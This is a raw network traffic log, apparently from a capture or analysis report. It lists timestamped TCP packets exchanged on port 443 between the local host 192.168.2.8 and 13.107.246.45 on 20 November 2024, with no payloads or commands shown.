Nov 20, 2024 13:28:42.220253944 CET	443	49888	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.220272064 CET	49889	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.220331907 CET	49888	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.220376968 CET	443	49889	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.220436096 CET	49889	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.220541954 CET	49888	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.220557928 CET	443	49888	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.220570087 CET	49889	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.220606089 CET	443	49889	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.477356911 CET	443	49886	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.477375984 CET	443	49887	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.477916002 CET	443	49885	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.478003025 CET	49887	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.478014946 CET	443	49887	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.478256941 CET	49886	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.478302002 CET	443	49886	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.478528023 CET	49887	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.478532076 CET	443	49887	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.479028940 CET	49886	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.479043007 CET	443	49886	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.479226112 CET	49885	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.479232073 CET	443	49885	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.479657888 CET	49885	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.479661942 CET	443	49885	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.581376076 CET	443	49886	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.581451893 CET	443	49886	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.581535101 CET	49886	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.581779003 CET	49886	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.581805944 CET	443	49886	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.581828117 CET	49886	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.581836939 CET	443	49886	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.584753990 CET	443	49885	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.584834099 CET	443	49885	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.584882021 CET	49890	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.584917068 CET	49885	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.584981918 CET	443	49890	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.585031033 CET	49885	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.585052013 CET	443	49885	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.585071087 CET	49890	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.585217953 CET	49890	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.585232019 CET	443	49890	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.585742950 CET	443	49887	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.585808039 CET	443	49887	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.585855961 CET	49887	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.585979939 CET	49887	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.585984945 CET	443	49887	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.586014986 CET	49887	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.586020947 CET	443	49887	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.587383032 CET	49891	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.587435961 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.587579966 CET	49891	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.587958097 CET	49892	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.588043928 CET	443	49892	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.588129044 CET	49892	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.588265896 CET	49892	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.588303089 CET	443	49892	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.588437080 CET	49891	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.588453054 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.862627983 CET	443	49889	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.863245964 CET	49889	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.863286972 CET	443	49889	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.863790989 CET	49889	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.863795996 CET	443	49889	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.872476101 CET	443	49888	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.879637003 CET	49888	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.879678965 CET	443	49888	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.880152941 CET	49888	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.880163908 CET	443	49888	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.964011908 CET	443	49889	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.964165926 CET	443	49889	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.964257002 CET	49889	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.969089031 CET	49889	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.969122887 CET	443	49889	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.969141006 CET	49889	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.969147921 CET	443	49889	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.980775118 CET	443	49888	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.980859041 CET	443	49888	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.980968952 CET	49888	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.003755093 CET	49888	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.003808022 CET	443	49888	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.003856897 CET	49888	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.003865004 CET	443	49888	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.068444967 CET	49893	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.068516016 CET	443	49893	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.068610907 CET	49893	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.093727112 CET	49894	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.093799114 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.093909025 CET	49894	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.097512960 CET	49893	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.097553968 CET	443	49893	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.101716042 CET	49894	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.101747036 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.233196974 CET	443	49892	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.233817101 CET	49892	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.233896017 CET	443	49892	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.234388113 CET	49892	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.234405041 CET	443	49892	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.235023975 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.235028982 CET	443	49890	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.235505104 CET	49891	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.235536098 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.235786915 CET	49891	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.235794067 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.236008883 CET	49890	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.236047983 CET	443	49890	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.236382008 CET	49890	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.236392021 CET	443	49890	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.337868929 CET	443	49892	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.338800907 CET	443	49892	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.338901043 CET	49892	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.338927984 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.338975906 CET	49892	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.338979959 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.339023113 CET	443	49892	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.339055061 CET	49892	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.339071035 CET	443	49892	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.339092016 CET	49891	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.339119911 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.339144945 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.339211941 CET	49891	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.339329004 CET	49891	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.339329004 CET	49891	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.339345932 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.339354992 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.339394093 CET	443	49890	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.339469910 CET	443	49890	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.339518070 CET	49890	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.339766026 CET	49890	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.339786053 CET	443	49890	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.339822054 CET	49890	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.339828014 CET	443	49890	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.342622042 CET	49895	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.342659950 CET	443	49895	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.342737913 CET	49895	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.342895985 CET	49895	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.342905998 CET	443	49895	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.343053102 CET	49896	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.343090057 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.343147039 CET	49896	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.343239069 CET	49896	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.343242884 CET	49897	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.343245029 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.343281984 CET	443	49897	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.343333960 CET	49897	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.343482018 CET	49897	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.343489885 CET	443	49897	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.770100117 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.770773888 CET	49894	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.770839930 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.771255016 CET	49894	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.771270990 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.788449049 CET	443	49893	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.789381027 CET	49893	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.789406061 CET	443	49893	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.790175915 CET	49893	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.790182114 CET	443	49893	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.888935089 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.888957977 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.889302015 CET	49894	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.889328957 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.889385939 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.889446020 CET	49894	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.889475107 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.889492989 CET	49894	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.889503002 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.893119097 CET	49898	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.893155098 CET	443	49898	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.893241882 CET	49898	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.893430948 CET	49898	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.893441916 CET	443	49898	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.898324966 CET	443	49893	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.898385048 CET	443	49893	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.898549080 CET	49893	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.898578882 CET	49893	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.898588896 CET	443	49893	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.898605108 CET	49893	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.898610115 CET	443	49893	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.901180983 CET	49899	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.901216030 CET	443	49899	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.901330948 CET	49899	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.901495934 CET	49899	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.901506901 CET	443	49899	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.994082928 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.994792938 CET	49896	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.994853020 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:43.995359898 CET	49896	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:43.995366096 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.071751118 CET	443	49897	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.072633982 CET	49897	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.072662115 CET	443	49897	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.073319912 CET	49897	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.073324919 CET	443	49897	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.078670979 CET	443	49895	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.079210043 CET	49895	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.079242945 CET	443	49895	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.079653025 CET	49895	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.079664946 CET	443	49895	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.098825932 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.098880053 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.099173069 CET	49896	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.099208117 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.099323034 CET	49896	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.099335909 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.099351883 CET	49896	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.099411011 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.099545002 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.102782011 CET	49901	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.102828026 CET	443	49901	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.102951050 CET	49901	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.103259087 CET	49901	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.103276968 CET	443	49901	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.175712109 CET	443	49897	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.176527023 CET	443	49897	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.176656961 CET	49897	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.176930904 CET	49897	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.176951885 CET	443	49897	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.176961899 CET	49897	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.176970005 CET	443	49897	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.180838108 CET	49902	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.180937052 CET	443	49902	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.181057930 CET	49902	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.181205034 CET	49902	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.181241989 CET	443	49902	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.182408094 CET	443	49895	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.182432890 CET	443	49895	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.182509899 CET	49895	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.182513952 CET	443	49895	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.182564020 CET	49895	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.182684898 CET	49895	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.182699919 CET	443	49895	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.182710886 CET	49895	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.182715893 CET	443	49895	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.185312986 CET	49903	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.185363054 CET	443	49903	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.185450077 CET	49903	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.185561895 CET	49903	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.185580969 CET	443	49903	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.545968056 CET	443	49899	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.546724081 CET	49899	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.546737909 CET	443	49899	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.547224998 CET	49899	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.547229052 CET	443	49899	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.564258099 CET	443	49898	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.564763069 CET	49898	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.564798117 CET	443	49898	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.565413952 CET	49898	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.565421104 CET	443	49898	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.653971910 CET	443	49899	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.654407024 CET	443	49899	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.654500961 CET	49899	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.654823065 CET	49899	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.654841900 CET	443	49899	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.654854059 CET	49899	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.654860020 CET	443	49899	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.658216953 CET	49904	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.658242941 CET	443	49904	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.658333063 CET	49904	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.658473015 CET	49904	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.658483028 CET	443	49904	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.678551912 CET	443	49898	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.678721905 CET	443	49898	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.678853989 CET	49898	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.679081917 CET	49898	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.679105043 CET	443	49898	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.679119110 CET	49898	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.679126978 CET	443	49898	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.682445049 CET	49905	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.682471037 CET	443	49905	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.682573080 CET	49905	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.682725906 CET	49905	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.682742119 CET	443	49905	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.765911102 CET	443	49901	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.766714096 CET	49901	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.766738892 CET	443	49901	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.767281055 CET	49901	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.767287016 CET	443	49901	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.824244022 CET	443	49902	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.824928999 CET	49902	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.824959040 CET	443	49902	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.825380087 CET	49902	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.825385094 CET	443	49902	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.831892014 CET	443	49903	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.832211018 CET	49903	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.832232952 CET	443	49903	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.832540989 CET	49903	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.832545996 CET	443	49903	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.880115986 CET	443	49901	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.880341053 CET	443	49901	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.880464077 CET	49901	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.880769014 CET	49901	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.880790949 CET	443	49901	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.880801916 CET	49901	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.880810022 CET	443	49901	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.884684086 CET	49906	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.884717941 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.884793997 CET	49906	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.884957075 CET	49906	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.884968042 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.931452036 CET	443	49902	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.931701899 CET	443	49902	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.931775093 CET	49902	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.931910038 CET	49902	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.931926966 CET	443	49902	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.931937933 CET	49902	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.931945086 CET	443	49902	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.935261011 CET	49907	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.935297966 CET	443	49907	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.935395956 CET	49907	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.935525894 CET	49907	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.935539961 CET	443	49907	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.935590982 CET	443	49903	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.935775042 CET	443	49903	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.935837984 CET	49903	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.935873032 CET	49903	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.935873032 CET	49903	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.935890913 CET	443	49903	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.935900927 CET	443	49903	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.938095093 CET	49908	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.938121080 CET	443	49908	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:44.938210964 CET	49908	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.938318014 CET	49908	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:44.938328028 CET	443	49908	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:45.313946962 CET	443	49904	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:45.314976931 CET	49904	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:45.314990997 CET	443	49904	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:45.315660954 CET	49904	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:45.315665007 CET	443	49904	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:45.368737936 CET	443	49905	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:45.369560957 CET	49905	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:45.369610071 CET	443	49905	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:45.370228052 CET	49905	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:45.370234966 CET	443	49905	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:45.418921947 CET	443	49904	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:45.419528008 CET	443	49904	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:45.419620037 CET	49904	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:45.433780909 CET	49904	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:45.433806896 CET	443	49904	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:45.433820009 CET	49904	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:45.433826923 CET	443	49904	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:45.437571049 CET	49909	443	192.168.2.8	13.107.246.45
